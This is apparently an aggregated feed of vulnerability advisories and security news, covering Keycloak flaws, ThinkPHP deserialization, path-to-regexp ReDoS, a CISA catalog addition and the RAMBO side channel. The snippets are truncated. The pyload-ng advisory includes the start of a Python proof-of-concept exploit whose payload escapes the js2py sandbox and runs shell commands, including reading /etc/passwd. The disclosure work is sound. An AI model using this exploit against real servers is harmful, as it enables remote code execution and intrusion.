Cisco Talos is disclosing a new threat called “DragonRank” that primarily targets countries in Asia and a few in Europe, operating PlugX and BadIIS for search engine optimization (SEO) rank manipulation.

A deserialization vulnerability in Thinkphp v6.1.3 to v8.0.4 allows attackers to execute arbitrary code.

An open redirect vulnerability was found in Keycloak. A specially crafted URL can be constructed where the `referrer` and `referrer_uri` parameters are made to trick a user to visit a malicious webpage. A trusted URL can trick users and automation into believing that the URL is safe, when, in fact, it redirects to a malicious server. This issue can result in a victim inadvertently trusting the destination of the redirect, potentially leading to a successful phishing attack or other types of attacks. Once a crafted URL is made, it can be sent to a Keycloak admin via email for example. This will trigger this vulnerability when the user visits the page and clicks the link. A malicious actor can use this to target users they know are Keycloak admins for further attacks. It may also be possible to bypass other domain-related security checks, such as supplying this as a OAuth redirect uri. The malicious actor can further obfuscate the `redirect_uri` using URL encoding, to hide the text of t...

A vulnerability was found in Keycloak. Expired OTP codes are still usable when using FreeOTP when the OTP token period is set to 30 seconds (default). Instead of expiring and deemed unusable around 30 seconds in, the tokens are valid for an additional 30 seconds totaling 1 minute. A one time passcode that is valid longer than its expiration time increases the attack window for malicious actors to abuse the system and compromise accounts. Additionally, it increases the attack surface because at any given time, two OTPs are valid.

A session fixation issue was discovered in the SAML adapters provided by Keycloak. The session ID and JSESSIONID cookie are not changed at login time, even when `the turnOffChangeSessionIdOnLogin` option is configured. This flaw allows an attacker who hijacks the current session before authentication to trigger session fixation.

CISA has added CVE-2024-40766 to its Known Exploited Vulnerabilities catalog.

### Impact In certain cases, `path-to-regexp` will output a regular expression that can be exploited to cause poor performance. ### Patches For users of 0.1, upgrade to `0.1.10`. All other users should upgrade to `8.0.0`. Version 0.1.10 adds backtracking protection when a custom regular expression is not provided, so it's still possible to manually create a ReDoS vulnerability if you are providing custom regular expressions. Version 8.0.0 removes all features that can cause a ReDoS and stops exposing the regular expression directly. ### Workarounds All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `/:a-:b` to `/:a-:b([^-/]+)`. If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves pe...

### Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. ### Details js2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE. ### PoC The PoC is provided as `poc.py` below, you can modify the shell command it execute: ```python import socket import base64 from urllib.parse import quote host, port = input("host: "), int(input("port: ")) payload = """ // [+] command goes here: let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;" let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__get...

A novel side-channel attack has been found to leverage radio signals emanated by a device's random access memory (RAM) as a data exfiltration mechanism, posing a threat to air-gapped networks. The technique has been codenamed RAMBO by Dr. Mordechai Guri, the head of the Offensive Cyber Research Lab in the Department of Software and Information Systems Engineering at the Ben Gurion University of

Proof of concept code for the Microsoft Windows DWM Core library elevation of privilege vulnerability. The researcher shows how they reversed the patch, how the heap overflow is produced, and overall gives a complete walk through of their process.
